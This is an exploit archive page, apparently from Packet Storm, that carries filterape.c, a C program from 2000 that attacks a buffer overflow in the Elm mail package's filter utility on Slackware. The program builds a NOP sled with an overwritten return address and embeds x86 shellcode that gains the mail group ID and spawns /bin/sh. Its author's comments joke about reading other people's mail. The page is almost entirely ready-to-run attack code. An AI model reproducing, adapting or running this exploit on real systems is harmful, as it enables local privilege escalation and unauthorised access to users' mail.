what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

filterape.c

filterape.c
Posted May 25, 2000
Authored by Scrippie | Site b0f.freebsd.lublin.pl

filterape.c exploits a new elm buffer overflow to get EGID mail on Slackware.

tags | exploit, overflow
systems | linux, slackware
SHA-256 | 0283514040bf44953fc6a6a2b5828645f76e0fbbd4376d98586c0470084c52fc

filterape.c

Change Mirror Download
/*
Lo and behold, yet another "grab EGID mail on a Slack exploit"

Almost a complete waste of valuable CPU time to execute...
What is more questionable is who is maintaining the Elm package
at this time, since this isn't just the second overflow I have
seen in it and it probably won't be the last...

Hope you all have a good time trying to read other people's mail
(not that you can being EGID mail on most Slackware boxes, but hey :)

Use as: filterape [offset] [EGID mail]
Now you get nothing - use ^D to grab shell

Cheers,
Scrippie - #phreak.nl
- buffer0verfl0w Security


Do not contact me at: ronald@grafix.nl

Love to: Maja, Hester

Shouts to (in random order): RFP, ADM, HNN, buffer0verfl0w security,
Wiretrip, #phreak.nl, #hit2000, gov-boi, TESO, lcamtuf, HWA,
Yarvje (your NT coding skills rock), robje, ^MACE^,
and everyone who doesn't want to be included here

May a place be reserved in the fiery bowels of Hell for:
[tri] - (of course no-one can hack your box when you firewall it dead,
you should wonder if there is a bit of functionality left...)
Gerrie - Proud holder of the ScriptKiddie of the year award for the past
15 years
JP - That's a bit of a cliche :(
*/

#include <stdio.h>

#define EIP_OFF 517 /* EIP at 517 518 519 520 */
#define NOP 0x90 /* Hacker tool number one ;) */
#define MAILGID 12

char shellcode[]=
"\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3\x0c\xcd\x80\x89\x76"
"\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x73\x68";

unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
char foobar[1000]; /* Too lazy to malloc() */
char gid=MAILGID;
char *mailGid;
int i, offset=5400; /* What a bizarre offset :) */
long RTFM; /* Phrack 49 in this case */

if(argc > 1) offset = atoi(argv[1]);

if(argc > 2) {
gid = (char) atoi(argv[2]);
mailGid = (char *)strchr(shellcode, 0x0c);
*mailGid = gid;
}

for(i=0;i<EIP_OFF - 3;i++) {
foobar[i] = NOP;
}

RTFM = get_sp() - offset;

foobar[i++] = 0xeb; /* Short jmp over ret addy */
foobar[i++] = 0x04;

foobar[i++] = RTFM & 0xff;
foobar[i++] = (RTFM >> 8) & 0xff;
foobar[i++] = (RTFM >> 16) & 0xff;
foobar[i++] = (RTFM >> 24) & 0xff;
foobar[i++] = 0x00;

strcat(foobar, shellcode);

execl("/usr/bin/filter", "I'm a scriptkiddie and I'm okay...", "-f", foobar,
NULL);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close